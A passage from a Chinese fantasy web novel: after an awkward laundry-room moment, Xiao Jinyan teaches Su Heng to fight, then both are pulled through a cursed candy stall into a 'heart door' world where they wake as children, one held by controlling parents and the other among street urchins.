他垂眸,看着手中那团小小的布料。 很快感觉到自己身体的某个地方,有了些微妙而清晰的反应。 一股热流不受控制地涌动起来。 恰在此时,洗衣房门口传来轻微的脚步声。 宿珩大概是下来找他,或者想找点水喝,循着洗衣机运转的动静找到了这里。 他一眼就看到了蹲在盆边,手里还捏着他……贴身衣物的肖靳言。 宿珩的脚步猛地顿住。 一向冷淡平静的脸上,迅速浮现出一抹清晰可见的窘迫,耳根以肉眼可见的速度泛起了薄红,并且有向脖颈蔓延的趋势。 “我……” 他刚想说点什么,却发现声音有些干涩。 下一秒,他的目光不受控制地垂落。 肖靳言身上那件宽松的黑色真丝睡裤,因为蹲着搓衣服的姿势,显得极其不自然。 宿珩的呼吸骤然一顿。 他冷不防想起了从疗养院回来时,透过车窗,看到的那座被夜色笼罩的高山。 宿珩猛地移开视线,像是被烫到一般,脸上那抹红色蔓延得更快。 他几乎是立刻转过身,脚步带着一丝明显的仓皇和狼狈,一言不发地快步离开了洗衣房。 背影透着僵硬,假装自己什么也没有看到,什么也没有发现。 肖靳言:“……” 他僵在那里,手里还拿着那湿漉漉的布料。 低头看了一眼自己不争气的某处,又看了一眼宿珩几乎是落荒而逃的背影,不由懊恼地低叹了口气,抬手按了按额角。 这他妈都算什么事儿。 …… 宿珩几乎是逃回了客房。 反手将门带上,隔绝了门外的动静,也隔绝了那份突如其来的窘迫。 他快步走到床边,和衣躺下,身体却有些僵硬。 然后伸手关了床头灯,在黑暗中抬起手,指尖触碰到自己的脸颊,竟然有些微微发烫。 这种感觉太过陌生。 从小到大,所有贴身的衣物都是他亲手清洗,从未假手于人,更遑论是一个刚刚认识没几天的男人。 肖靳言那过于自然的动作,蹲在盆边,手里还捏着他的…… 宿珩猛地翻了个身,将脸埋进柔软的枕头里,试图驱散脑海中那挥之不去的画面。 很奇怪,一种难以言喻的别扭感,夹杂着一丝莫名的情绪,在他心底悄然蔓延,像投入石子的湖面,涟漪久久不散。 他觉得自己应该生气,或者至少感到被冒犯。 但胸腔里涌动的,却是一种更复杂,让他难以捉摸的感受。 另一边,洗衣房内。 肖靳言听着宿珩仓皇离去的脚步声,无奈地叹了口气。 他低头看了一眼自己依旧精神抖擞的地方,认命地继续手上的动作。 只是那份先前因为宿珩坦诚自己取向而升起的愉悦,此刻却被一股莫名的烦躁取代。 这小子,反应也太大了。 他磨了磨后槽牙,将手里的布料搓得更用力了些。 将所有衣物清洗完毕,设定好烘干程序,肖靳言没有立刻回楼上休息。 他看了一眼腕表,时针已经快要指向深夜。 那股充斥全身的燥郁,如同无形的火焰般烧灼着他,让他失去了回楼上休息的想法,反而转身,径直走向电梯,按下了负一楼的按钮。 电梯门降落至地下。 走廊另一边,是一个与楼上黑白灰极简风格截然不同的空间。 这是一间极为宽敞的特制训练室,各种专业的健身器械冰冷地陈列着。 房间中央,一个标准的八角笼在灯光下泛着幽森的冷硬光泽。 肖靳言走进更衣室,换上一身宽松的黑色运动服,赤着脚,活动了一下手腕和脚踝,随即戴上了一副半指拳套,走进了八角笼。 没有对手,他只是对着空气,一遍遍地演练着格斗技巧。 出拳,踢腿,闪避,格挡。 每一个动作都迅猛而精准,带着裂帛般的劲风。 汗水很快浸湿了他的额发和背心,肌肉贲张,充满了爆发性的力量。 他需要用这种方式,来宣泄内心那股无处安放的燥郁。 以及那点说不清道不明的,被宿珩搅起来的火气。 …… 直到后半夜,宿珩才在床上辗转反侧中,迷迷糊糊地睡了过去。 第二天醒来时,窗外的天光已经大亮。 宿珩看了一眼床头的电子钟,八点半。 他起身下床,走进浴室洗漱。 冰凉的水拍在脸上,让他清醒了不少,昨夜的纷乱思绪也沉淀下来。 走出客房,楼下静悄悄的,没有看到肖靳言的身影。 宿珩想了想,径直走向一楼的洗衣房。 洗衣机和烘干机都已经停止了工作。 他打开烘干机,里面是他昨天换下的衣物,已经变得干爽蓬松,带着淡淡的洗衣液清香。 宿珩沉默地将自己的衣服换好,并将换下来的睡衣丢进了洗衣机,启动了清洗程序。 回到一楼客厅,他注意到电梯的指示灯,一直停留在“-1”的位置。 肖靳言在楼下? 宿珩略一思忖,走到电梯前,按下了下行按钮。 走出电梯,他便看到了那间灯火通明的宽敞训练室。 训练室中央有个巨大的八角笼。 肖靳言就躺在八角笼的软垫上,似乎是睡着了。 他的身上还穿着那套黑色的运动服,额前的碎发被汗水打湿,凌乱地贴在额角。 宿珩心中微微一动,他难道在这里睡了一整晚? 他放轻脚步,缓缓走了过去。 刚走到八角笼边,原本闭着眼睛的肖靳言,睫毛忽然动了动,随即睁开了眼睛。 那双深邃的眸子在看到宿珩时,没有丝毫刚睡醒的迷茫,依旧锐利清明,仿佛从未真正睡熟。 他坐起身,对着宿珩勾了勾嘴角,拍了拍身旁的垫子:“醒了?” 宿珩点了点头,目光在他身上停留片刻,随即迈步走进了八角笼。 他在肖靳言身边盘腿坐下。 “睡得怎……?” 肖靳言刚想开口询问。 几乎在同时,宿珩也看向他,清冷的声音带着一丝不同以往的认真。 “你能教我格斗技吗?” 肖靳言准备说出口的话,因为宿珩这突如其来的请求而顿住。 他微微挑眉,脸上露出一丝诧异,仔细地注视着宿珩。 宿珩的眼神很平静,却透着一股不容置喙的坚持,仿佛是经过深思熟虑后的决定。 肖靳言看着他,几秒后,低低地笑了一声:“可以。” 他顿了顿,补充道:“不过,我丑话说在前面。每周至少三次,我会亲自去学校接你过来训练。” “前提是……你能吃得了这份苦。” “我能。”宿珩毫不犹豫地回答。 “那好。”肖靳言脸上的笑意更深了些,“这样吧,今天,就算是第一天。” 他抬手指了指八角笼外面靠墙位置的一扇门:“去吧,更衣室在那边,有新的格斗服。” 宿珩没有多问,站起身,径直走向更衣室。 片刻之后,他换上了一套纯黑色的宽松格斗服,上衣束腰,裤腿略宽,赤着双脚,从更衣室里走了出来。 少了平日里的清冷斯文,多了几分利落与韧劲。 那张过分漂亮的脸上没什么表情,却自有一股凛然之气。 肖靳言好整以暇地站在八角笼中央,看着焕然一新的宿珩,眉梢轻轻挑起,嘴角勾起一抹意味深长的弧度。 “我这个人,下手一向比较重。” 他活动了一下颈骨,发出轻微的“咔咔”声:“你可要小心一点。” 宿珩眼神平静,没有说话,只是迈步走进了八角笼,与肖靳言相对而立。 气氛一时有些凝滞。 肖靳言刚想说些什么,比如从最基础的姿势开始教起。 然而,还没等他开口—— 宿珩动了。 毫无征兆地,他右脚猛地抬起,带着一股凌厉的劲风,以一个极其刁钻狠辣的角度,闪电般踹向肖靳言的两腿之间! 动作快、准、狠,没有丝毫拖泥带水。 肖靳言面色骤变。 他几乎是凭借着千锤百炼的本能反应,在电光石火间猛地向后撤步,同时双臂交叉格挡在身下。 即便如此,那呼啸而至的腿风,依旧让他感觉到了一丝凉意。 “操!” 肖靳言稳住身形,忍不住低骂一声,看着面无表情的宿珩,眼神又好气又好笑。 “你不讲武德啊!哪有一上来就往这儿招呼的?” 宿珩缓缓收回腿,依旧是那副清冷的模样,眼神没有丝毫波动。 他看着肖靳言,平静地反问:“心门里的那些怪物,会跟你讲武德吗?” 肖靳言:“……” 妈的。 他合理怀疑,这家伙是记了昨晚洗衣房的仇了! 60-70 第61章 第 61 章 失落的小孩2 后续的日子, 便在这种近似“相爱相杀”的训练模式中,规律地度过。 每周二、四、六的晚上。 肖靳言都会开着他那辆低调的黑色越野车,准时出现在京大门口。 宿珩会提前收拾好, 背着一个简单的运动包,在预定时间下楼。 两人之间没有太多不必要的废话,上车, 径直前往临山别墅区的特制训练室。 不得不说,宿珩在格斗方面的天赋,再一次让肖靳言刮目相看。 他的学习速度快得令人咋舌。 身体协调性和反应能力都远超常人。 最开始的几次, 他还会被肖靳言轻易压在身下, 手脚被牢牢钳制, 无论如何挣扎都动弹不得。 但很快。 宿珩便凭借着那股不服输的韧劲和惊人的领悟力,迅速掌握了格斗技巧, 动作也越来越有章法,甚至开始主动寻找反击的机会。 他不像肖靳言那样,每一招都带着千锤百炼的力量与狠戾。 宿珩的格斗风格更偏向于技巧和速度,他身体轻盈, 反应极快, 角度也选得刁钻, 往往能出其不意。 有时候, 肖靳言一个不察,也会被他偷袭得手。 虽然不至于受伤, 但那份猝不及防的狼狈,总能让宿珩那双清冷的眸子里, 闪过一丝极淡的,不易察觉的笑意。 当然,这种时候, 肖靳言通常会低啧一声,眼中兴味更浓,喊着“再来”。 八角笼内,两具肉/体的碰撞声和偶尔的闷哼声此起彼伏。 宿珩从不叫苦,也从不喊累。 无论被摔得多重,他都只会默默地爬起来,调整呼吸,然后再一次发起攻击,像一头不知疲倦的孤狼。 如此过了半个多月。 这天晚上,又是一场酣畅淋漓的训练结束。 肖靳言开车送宿珩回宿舍。 宿珩靠在副驾驶座上,闭着眼睛,额前的碎发还有些微湿,显然是刚刚冲过澡。 他身上穿着干净的T恤和休闲裤,比起平日里那副清冷疏离的模样,多了几分运动后的放松。 车子平稳地行驶在夜色笼罩的街道上。 忽然,一阵手机铃声打破了车厢内的安静。 肖靳言看了一眼来电显示,没有避讳宿珩,直接按下了方向盘上的接听键,并点开了外音。 “老大。” 一个清亮干练,却又带着几分掩饰不住焦急的女声,从车载音响里传了出来。 宿珩睁开眼,偏头看了一眼亮着屏幕的中控。 他听出来了,这是文玉燕的声音。 “说。” 肖靳言语气如常,听不出什么波澜。 文玉燕的声音带着一丝不易察觉的凝重:“老大,小闫他去梧桐街道那个心门,已经三天了,一点消息都没传回来。” “而且,我们监测到,梧桐街道那边,就在刚刚,又出现了新的‘钥匙’。” “钥匙”两个字,让肖靳言握着方向盘的手指,几不可察地收紧了些。 文玉燕默了半晌,继续说道:“这说明,小闫的任务很可能已经失败了。” “往最坏的情况想……他或许,已经……” 她没有把那个不吉利的词说出口,但话语中的担忧和沉重,却清晰地传递了过来。 车厢内的气氛,瞬间变得有些压抑。 肖靳言沉默了几秒,沉声道:“我知道了。” 他的表情没什么变化,眼神却深了几分,如同古井般幽沉。 “我会过去处理。” 文玉燕似乎松了口气,但还是有些不放心地问:“就你一个吗?要不要我跟你一起?” “不用。”肖靳言干脆地拒绝。 “……好,那老大你注意安全。” “知道了。”说完,肖靳言直接掐断了电话。 车厢内恢复了安静,只有引擎平稳的运行声。 肖靳言看了一眼宿珩,后者正静静地看着窗外,侧脸在路灯的光影下显得格外清晰。 “看来,今晚要加个班了。” 宿珩调整了一下坐姿,收回目光,淡淡地“嗯”了一声,表示同意。 肖靳言不再多言,打了转向灯,在下一个路口熟练地调转了车头。 黑色越野车汇入车流,朝着与京大完全相反的方向驶去。 大约半个多小时后,车子驶入了一片老城区。 这里就是梧桐街道。 正如其名—— 街道两旁栽满了高大粗壮的梧桐树,枝叶繁茂,几乎将天空都遮蔽了起来。 路灯是那种老式的昏黄色,光芒艰难地透过层层叠叠的树叶,在地面投下斑驳陆离的暗影,显得有些昏寐和压抑。 老旧的建筑在夜色中静默矗立,墙皮多有剥落,透着一股被时光侵蚀的沧桑感。 肖靳言将车子缓缓停在路边一个相对空旷的位置,熄了火。 两人推门下车。 夜晚的梧桐街道,空气中弥漫着老城区特有的,混杂着尘土和草木的潮湿气味。 宿珩打量着四周,开口问道:“‘钥匙’是什么?” 肖靳言从口袋里摸出烟盒,磕出一根叼在嘴里,却没有点燃,只是用指尖捻着。 他靠在车门上,看着眼前这条幽深的街道。 “一个会随机出现在街边的无人糖果摊。无论白天还是晚上,都有可能出现。” “但凡有人,因为好奇或者贪小便宜,偷偷拿了摊上的糖果吃了,不管是大人还是小孩,都会被卷入心门。” “闫知许已经追踪这个心门好几天了,他失联前传回的最后消息,就是说他找到了‘钥匙’,准备进入。” 肖靳言的语气听不出什么情绪,但眼神却带着一丝冷意。 “看来,他还是大意了。” 或许是因为最近这片区域接连发生人口失踪的事件,又或许是夜色渐深。 此刻的梧桐街道上,几乎看不到一个人影,显得有些过分的冷清。 两人沿着略显破败的人行道,并肩朝着街道深处走去。 高大的梧桐树在夜风中发出沙沙的声响。 走了大约七八分钟,宿珩的脚步忽然微微一顿,目光投向街边。 肖靳言也停了下来,顺着他的目光看去。 就在前方不远处,一株梧桐树下的阴影中,出现了一个与周围环境格格不入的小摊子。 那摊位约莫只有半米高,用简陋的木板搭成,色彩却鲜艳得有些刺目,红红绿绿,像是孩童拙劣的涂鸦。 上面胡乱地摆放着各式各样造型奇特的糖果—— 有扭曲成古怪形状的棒棒糖,有包裹着五彩斑斓糖衣的巧克力豆,还有一些叫不出名字,散发着浓郁甜香的软糖。 明明每一颗糖都有包装纸,但一股甜腻到近乎令人不安的香气,却丝丝缕缕地飘散在空气中,与周围陈旧的气息形成了强烈的对比。 摊位后面,空无一人。 肖靳言率先迈步走了过去。 他站在糖果摊前,目光随意地扫过那些花花绿绿的糖果,然后伸手,漫不经心地拿起了一根造型像骷髅头的棒棒糖,糖纸是诡异的暗紫色。 宿珩也走了过来。 他看着那些颜色鲜艳得过分的糖果,微微蹙了蹙眉。 这里的糖,大多都带着一种人工合成,过于甜腻的味道,让他有些不适。 他耐着性子挑拣了一下,最终从角落里拿起了一颗用透明糖纸简单包裹着的,看起来还算正常的薄荷糖。 肖靳言嫌弃地看着手中的糖,慢慢撕开那暗紫色的糖纸,将骷髅头棒棒糖塞进了嘴里。 宿珩也撕开了薄荷糖的包装,将那颗小小的、散发着清凉气息的糖果丢进口中。 冰凉的薄荷味在舌尖迅速弥漫开来,带着一丝微弱的刺激感。 心门并没有像他们预想的那样,在糖果入口的瞬间就将两人拉进去。 周围依旧是那条寂静无人的梧桐街道,路灯的光芒依旧昏黄,夜风依旧带着微凉。 肖靳言含着棒棒糖,含糊不清地说道:“看来,得等糖吃完。” 宿珩没有说话,只是静静地感受着口中薄荷糖逐渐融化的过程。 时间一分一秒地过去。 那颗小小的薄荷糖,在他的口腔中慢慢变小,清凉的汁液顺着喉咙滑下。 终于—— 当最后一丝薄荷的甜意与清凉彻底融化在舌尖,消失无踪的刹那。 宿珩猛地感到一阵强烈的眩晕感袭来。 眼前的景象开始扭曲、模糊,像是隔了一层毛玻璃。 路灯的光芒被拉扯成一道道诡异的光带,周围的梧桐树和老旧建筑也开始旋转、变形。 下一瞬,他的意识陷入了一片短暂的黑暗。 宿珩的身影,连同他身旁的肖靳言,突兀地消失在了梧桐街道那株粗壮的梧桐树下,仿佛从未出现过一般。 …… 宿珩在一片柔软的触感中恢复意识。 他缓缓睁开眼。 首先映入眼帘的是层层叠叠的深色丝绒窗帘,只在边缘处漏进一丝灰蒙蒙的微光,勉强勾勒出房间幽暗的轮廓。 身下,一张异常宽大舒适的床。 他动了动手指,想撑着床垫坐起,一种强烈的违和感攫住了他,让他动作一顿。 宿珩垂眸,看向自己的手。 那是一只小巧稚嫩的手,皮肤白皙细腻,指节也圆润可爱,指甲修剪得整整齐齐,完全不像一个成年男人的手掌。 这不是他的手。 这分明……是个孩子的手。 心念电转,宿珩抬起另一只手,同样稚嫩。 宿珩猛地掀开盖在身上的丝质薄被,低头打量自己。 果然,整个身体都缩水了,变成了孩童的模样。 他迅速扫视四周。 这是一间布置得极为精致华美的儿童房。 墙壁是柔和的米黄色,隐约有手绘的卡通图案。 房间一角堆满了各式各样的玩具,从积木城堡到半人高的毛绒熊,应有尽有。 另一侧则是一个巨大的书架,上面摆满了各种儿童绘本和故事书,甚至还有一套看起来价格不菲的原版百科全书。 然而,与这童话般的布置格格不入的是—— 房间所有的窗户。 每一扇窗,都被从外面用粗糙的木条横七竖八地钉死了,木条上还残留着新鲜的木屑,显然是新近才钉上去的。 光线,只能从那些狭窄的缝隙中,吝啬地透进几丝,在地上投下苍白无力的光痕。 门,也从外面紧锁着。 宿珩抿了抿唇,赤着脚踩在柔软的羊毛地毯上,走到房间另一侧的衣帽柜。 衣柜门上镶嵌着一面全身穿衣镜。 镜子里,清晰地映照出一个约莫七八岁的小男孩。 男孩穿着一套印着小熊图案的淡蓝色棉质睡衣,身形纤瘦。 一张过分白净漂亮的小脸,五官精致得近乎失真,眉眼间依稀能看出宿珩自己年少时的轮廓。 只是,此时那双漆黑的眼眸里,却盛着与年龄不符的冷静与审视。 宿珩拉开衣柜。 里面空间很大,却只孤零零地挂着一套做工精致的深蓝色小西装,旁边还配着一双擦得锃亮的小皮鞋。 宿珩沉默地脱下睡衣,换上了那套小西装。 衣服的尺寸竟是完美贴合,像是为他此刻的身体量身定制。 穿戴整齐后,镜中的男孩宛如一个被精心打扮过的小绅士,只是那股与生俱来的冷淡气质,让他看起来有些格格不入的早熟。 就在这时,门外隐约传来细碎的脚步声,伴随着一对男女刻意压低的交谈。 “……小远醒了吗?” 女人声音里带着犹豫。 “他刚回来,需要静养,多睡一会儿是好事。” 男人立刻打断了她的话。 宿珩眸光微动,迅速回到床边,在床沿坐下,顺手将床上的薄被拉得凌乱了一些。 他调整了一下脸上的表情,收敛起眼底的冷然,让自己看起来带了几分孩童刚睡醒时的迷蒙。 “咔哒。” 钥匙转动门锁的声音。 随后房门被轻轻推开。 一对看起来约莫四十多岁的中年夫妻,端着一个餐盘走了进来。 女人穿着朴素的家居服,面容显得有些憔悴,眼下带着淡淡的青黑,但她努力地挤出一个温柔的笑容。 男人则身材中等,穿着熨帖的衬衫和西裤,唇上留着精心修剪过的胡子,表情略显严肃,一双眼睛锐利地打量着房间内的一切。 餐盘上放着一杯牛奶,几片烤得金黄的吐司,还有一个剥了壳的煮鸡蛋,还有一小碟切得整齐的水果块。 女人一眼便看见了坐在床边,正揉着眼睛望向他们的宿珩。 当她注意到他已经自己换上了那套小西装时,脸上的笑容骤然鲜活了几分,眼神里瞬间盛满了几乎要溢出来的关切与慈爱。 “哎呀,小远醒了!” 女人快步走过来,将餐盘放在床头柜上,语气惊喜又带着一丝小心翼翼。 “睡得好不好?有没有哪里不舒服?” 她伸出手,似乎想摸摸宿珩的额头。 但又像怕惊扰到他一般,手在半空中顿了顿,最终落在了他的肩膀上,安抚般拍了拍。 男人则站在几步开外,没有立刻上前。 只是用那双深沉的眼睛默默地注视着宿珩,仿佛在观察他的每一个细微反应。 宿珩抬起脸。 用一种恰到好处的困惑与陌生,望着眼前的女人,声音带着孩童特有的软糯与初醒的沙哑。 “……你是谁?” 他微微歪了歪头,长长的睫毛扑闪着,样子看起来有些迷糊。 女人的身体明显僵了一下,脸上的笑容也凝固了一瞬。 但她很快掩饰过去,眼圈却控制不住地微微泛红,声音愈发温柔。 “傻孩子,我是妈妈呀,你……你是不是还没睡醒,把妈妈都忘了?” 她一边说着,一边急切地拉过宿珩的小手,紧紧握住,掌心传来的温度带着一丝细微的颤抖。 “这是爸爸。” 女人抬眼,示意旁边的男人。 男人这才走上前来,脸上努力挤出一丝笑容,但看起来有些生硬:“小远,感觉怎么样?” “我……” 宿珩揉了揉眼睛森*晚*整*理,目光在两人脸上游移片刻。 最终他低下头,小声说:“我好像……做了个很长的梦,好多事情都记不清了。” 他这副模样,配上那张精致漂亮的小脸,足以让任何人心生怜爱。 “记不清没关系,没关系!” 女人连忙安慰道,语气急切,“只要你回来了就好,只要小远平平安安回到爸爸妈妈身边就好!以后我们一家人再也不分开了。” 她说着,忍不住伸手将宿珩揽进怀里,力道有些大,仿佛生怕他下一秒就会化作泡影消失。 宿珩顺从地靠在她身上。 鼻息间,是淡淡的、混合着脂粉与洗衣液的熟悉香气。 这种本该令人安心的气味,此刻却让他每一个细胞都警惕起来。 从他们的对话和反应中,宿珩已经大致推断出自己在这个心门世界里的身份—— 这对夫妻失而复得的儿子。 小远。 被女人抱了一会儿,宿珩才轻轻动了动,从她怀里抬起头,眼神里带着一丝孩子对未知世界本能的好奇与向往。 “我……可以出去看看吗?” 听到“出去”两个字—— 女人脸上的温柔与慈爱瞬间褪得一干二净,取而代之的是一种近乎神经质的恐慌,与强烈的抗拒。 她的声音也陡然拔高,尖锐得有些刺耳,情绪激动到近乎失控。 “不行!小远,你绝对不能出去!” 她猛地攥住宿珩的肩膀,指尖的力道让宿珩几不可察地蹙了蹙眉。 “外面太危险了!到处都是坏人!他们专门抓像你这样不听话的小孩子!” 女人的眼睛里布满了血丝,神情甚至有了一丝扭曲的狰狞。 “你知不知道爸爸妈妈找你找得有多辛苦?我们不能再失去你了!绝对不能!” 旁边的男人也立刻沉下脸,语气严厉地呵斥: “胡闹!你才刚回来,身体还没好利索,就好好待在家里养着,哪里都不许去!待在家里,有爸爸妈妈陪着你,比什么都好!” 宿珩看着他们过激的反应,心中了然。 面上却恰到好处地露出一丝被吓到的委屈和害怕,低下头不再说话。 女人似乎也意识到自己失态了,连忙松开手,深吸几口气,努力平复了一下情绪。 下一秒,她又换上那副温柔的面孔,轻轻抚摸着宿珩的头发。 “小远乖,听话,待在家里最安全,你看……爸爸妈妈给你准备了这么多玩具,还有你最喜欢的故事书,妈妈陪你玩好不好?” 男人也缓和了语气:“快吃饭吧,都凉了,吃完饭再玩。” 女人连忙去拿餐盘里的牛奶,“对对对,先吃饭先吃饭。” 之后,宿珩吃完饭后,又试探着提及“外面”或者“离开”的字眼。 但这对夫妻,无一例外,都会立刻变得紧张而警惕。 女人陪着宿珩在房间里玩了一会儿积木,男人则在一旁看着,时不时插上几句话,努力营造出一种家庭和睦的温馨氛围。 但宿珩能清晰地感觉到—— 那份温馨之下,涌动着的是令人不安的偏执和绝望。 终于,当宿珩假装打了个哈欠后,女人才站起身:“小远,玩困了就休息会儿吧,妈妈去给你做晚饭。” 男人也跟着站起来,“爸爸去处理点事情。” 他们叮嘱宿珩乖乖待在房间里,不要乱跑,然后才一前一后地离开了儿童房。 “咔哒。” 门再次被从外面反锁了。 宿珩脸上的乖巧和迷糊瞬间褪去,恢复了惯有的冷静。 他走到窗边,透过那狭窄的木条缝隙,努力向外望去。 这是一个带院子的小楼。 院子里种着一些花草,但似乎疏于打理,显得有些杂乱。 真正让宿珩瞳孔微缩的,是院子四周那高得有些不成比例的围墙。 灰色的砖墙顶上,密密麻麻地插满了敲碎的啤酒瓶底,那些锋利的玻璃碎片在灰蒙蒙的阳光下闪烁着森然的寒光。 这绝非正常的家庭防护。 更像是一个精心打造的,防止内部人逃脱的……囚笼。 第62章 第 62 章 失落的小孩3 宿珩走到窗边, 伸手试探着推了推那些钉死的木条。 木条纹丝不动,钉得很深。 他现在这副孩童的身体,力气小得可怜, 根本无法撼动分毫。 宿珩收回手,放弃了从窗户入手的打算,转而开始仔细打量这间布置奢华, 却又处处透着诡异的儿童房。 他的目光最终落在那堆积如山的玩具上。 宿珩走过去,蹲下身,在那堆花花绿绿的积木中翻找起来。 很快, 他找到了几块颜色明显比其他积木黯淡, 边缘也磨损得更厉害的方块积木。 积木的侧面, 用彩色的漆印着英文字母。 宿珩将那几块积木挑出来,按照磨损的痕迹和细微的颜色差异, 在柔软的地毯上将它们一一拼凑起来。 [H-E-L-P]。 四个字母清晰地呈现在眼前。 宿珩的眸光微沉。 看来,在他之前,已经有人被困在这间房里,并且试图留下求救的讯息。 他站起身, 目光转向房间另一侧那个巨大的书架。 书架很高, 最上层的书, 以他现在的身高, 根本够不着。 宿珩踩着脚下厚软的地毯,走到书架前, 踮起脚尖,努力伸长手臂, 从中间一层勉强抽出一本装帧精美的厚重故事书。 书拿在手里沉甸甸的。 他随意翻开几页。 书里的插画色彩鲜艳,故事内容却让他微微蹙眉。 讲的是一个不听话的小兔子,偷偷跑出家门, 结果被森林里的大灰狼抓走,再也没能回家的故事。 宿珩合上书,又抽出旁边几本。 《不听劝告的小熊》、《迷路的小鹿》、《贪玩的小猫》…… 无一例外—— 每一本故事书的核心内容,都是在讲述小孩子不听从家人的话,擅自离开家,最终遭遇不幸,或是失踪,或是遇到各种危险。 他将书一本本重新塞回书架。 宿珩回想起那个女人提到“外面都是坏人”时,那种近乎歇斯底里的恐慌和狰狞。 这些故事,分明是在不断地向被困在这里的“孩子”灌输一种思想—— 外面是危险的,只有待在家里,待在“爸爸妈妈”身边,才是最安全的。 这无疑是对这扇心门主人内心绝望源头的强烈暗示。 孩子失踪,父母的恐惧与绝望,将家变成了囚笼。 宿珩站在书架前,陷入了沉思。 他忽然想起了肖靳言,不知道他现在怎么样了。 他是不是也和自己一样,变成了小孩子的模样? 另一边。 肖靳言在一阵混杂着腐烂食物和潮湿泥土的刺鼻气味中醒来。 他睁开眼,发现自己正躺在一条堆满垃圾的肮脏后巷里,身下的地面冰冷而坚硬。 他迅速坐起身,低头打量自己。 身上穿着一套破破烂烂,沾满了污渍,几乎看不出原色的粗布衣服。 更让他眉心狠狠一跳的是,他的手脚,乃至整个身体,都缩小了不止一个号。 这分明是一个七八岁孩童的身体。 肖靳言脸色沉了下来,烦躁地“啧”了一声。 他立刻伸手探入袖中。 还好,那柄通体漆黑的短刀,并没有因为身体的缩小而消失,依旧静静地躺在那里,触手冰凉。 他堂堂一个SSS级清理师,居然在这个鬼地方,变成了一个衣衫褴褛的小乞丐。 肖靳言站起身,活动了一下有些僵硬的四肢,虽然身体变小了,但那种常年累月锻炼出来的力量感和反应速度,似乎并没有完全消失。 他走出这条散发着恶臭的后巷,来到外面的街道上。 街道两旁,依旧是高大粗壮的梧桐树,枝叶浓密,将灰蒙蒙的天空切割得支离破碎。 空气中弥漫着一股熟悉的压抑氛围。 与他们进入心门前看到的梧桐路街道既相似,又有着明显的不同。 最显着的,便是每一株梧桐树的树干上,甚至路边的路灯杆和剥落的墙壁上,都密密麻麻地贴满了寻人启事。 那些启事已经泛黄发旧,纸张边缘多有破损。 上面印着一个个孩子的照片,男孩女孩都有,年龄各异。 但无一例外,都是在某一天,突然莫名其妙地失踪了。 肖靳言的目光从那些照片上一一扫过,神色冷峻。 就在他仔细观察那些寻人启事的时候,眼角的余光瞥见身后不远处,出现了几个身影。 是几个和他现在这副打扮差不多的“孩子”。 他们大多面黄肌瘦,头发乱蓬蓬的像鸟窝一样,眼神里带着一种与年龄不符的麻木和警惕。 有的在垃圾桶里翻找着什么,有的则三三两两聚在一起,为了抢夺一点食物或者地盘而低声争吵。 肖靳言的出现,立刻引起了他们的注意。 这些“孩子”不约而同地停下了手中的动作,齐刷刷地将目光投向他这个“新人”。 那目光中,充满了不加掩饰的警惕、审视,以及一丝不易察觉的……不怀好意。 一个比肖靳言现在这副孩童身体还要高壮一些的“孩子”,脸上带着明显不善的神色,慢慢朝着肖靳言逼近。 他上下打量着肖靳言,眼神露骨,像是在评估一件可以随意掠夺的物品。 “新来的?” 那个高壮孩子咧开嘴,露出一口黄牙,声音粗嘎,带着威胁的意味。 “身上有什么吃的?识相点就交出来,免得受皮肉之苦。” 他一边说着,一边伸出手,似乎想直接搜肖靳言的身。 然而,他的手还没碰到肖靳言的衣角。 肖靳言动了。 他甚至懒得开口废话。 以孩童的身体,却爆发出与外表完全不符的惊人速度和力量。 只听“砰”的一声闷响,伴随着一声压抑的痛呼。 那个高壮孩子已经被肖靳言一记干脆利落的过肩摔,狠狠地砸在了冰冷的水泥地上,激起一片尘土。 不等他反应过来,肖靳言的膝盖已经死死地压住了他的胸口,冰冷的刀锋抵住了他的喉咙。 那高壮孩子脸上的嚣张和不善瞬间被极致的恐惧所取代。 他身体剧烈地颤抖起来,眼神里充满了惊骇和难以置信。 “好汉饶命!饶命啊!我……我有眼不识泰山!我再也不敢了!” 他语无伦次地求饶,那熟练的求饶姿态和语气,根本不像一个孩子能有的。 肖靳言面无表情地看着他,眼神冰冷。 周围其他那些原本蠢蠢欲动的“孩子”,此刻也都吓得噤若寒蝉,纷纷后退,不敢再靠近分毫。 肖靳言心中了然。 被卷入这扇心门的所有人,无论是大人还是小孩,都会统一变成小孩的模样。 所以,眼前这些所谓的“孩子”,十有八九,都和他一样,是些披着稚嫩皮囊的成年人。 只可惜。 这群人里,他并没有看到宿珩和闫知许的身影。 肖靳言收回了抵在对方喉咙上的短刀,刀锋的寒意仿佛还渗在空气里。 他松开压在对方胸口的膝盖,面无表情地站起身,尽管身体是七八岁的孩童,那股迫人的气势却丝毫不减。 “说吧,怎么回事。” 那高壮“孩子”连滚带爬地从地上弹起来,踉跄着后退了好几步,才勉强站稳。 他看着肖靳言的眼神,充满了劫后余生的惊惧,再不敢有丝毫先前的嚣张。 “我……我叫袁广,是……是外面梧桐路街道旁边开小卖铺的。” 袁广哆哆嗦嗦地开口。 “前几天,我看见路边有个没人管的糖果摊,寻思着拿一些糖回来放我店里卖,就……就顺手拿了一颗尝尝味道,谁知道眼睛一闭一睁,就到了这个鬼地方,还变成了这副鬼样子!” 他抬手指了指自己缩水了的身体,又指了指旁边那几个吓得瑟瑟发抖,大气都不敢喘的“孩子”。 “他们……他们也差不多,都是吃了那该死的糖才被弄进来的!我都在这里待了七天了,连口热乎饭都没吃上!” 肖靳言的目光从那几个缩在墙角,脸上带着与年龄不符的惊恐和麻木的“孩子”身上扫过。 最后,他的视线落在一个一直躲在最后面,努力降低自己存在感的小男孩身上。 那男孩看起来比其他几个“孩子”都要小一些,约莫六七岁的样子。 身上虽然也脏兮兮的,但脸上却透着未脱的稚气。 一头柔软的棕色小卷毛乱蓬蓬的,黑葡萄似的大眼睛里,盛满了怯生生的不安,正偷偷地从卷曲的睫毛下打量着他。 袁广顺着肖靳言的目光看过去,连忙补充道:“哦,他倒是跟我们不太一样。” “他就是个真小孩,贪嘴,自己跑去偷吃了糖,也跟我们一样,被困在这里七天了。” 肖靳言迈步,径直走到那小卷毛男孩面前。 他身上那股生人勿近的气场,即便在这孩童的躯壳里也未曾消减。 小卷毛似乎被他吓到了,身体下意识地往后缩了缩,一双小手无措地绞着破旧的衣角,低垂着头,不敢看他。 “你叫什么名字?” 肖靳言此时的声音带着一种孩童的清脆,语气却带着惯有的冷硬。 男孩的肩膀几不可察地抖了一下。 过了好几秒,才用细若蚊蚋的声音小声回答:“我……我叫韩牧川。我不小心……吃了路边的糖,然后就到这里了。” 他的声音软糯,带着孩童特有的腔调,每一个动作和神态,都像一个受惊过度,不知所措的普通小男孩。 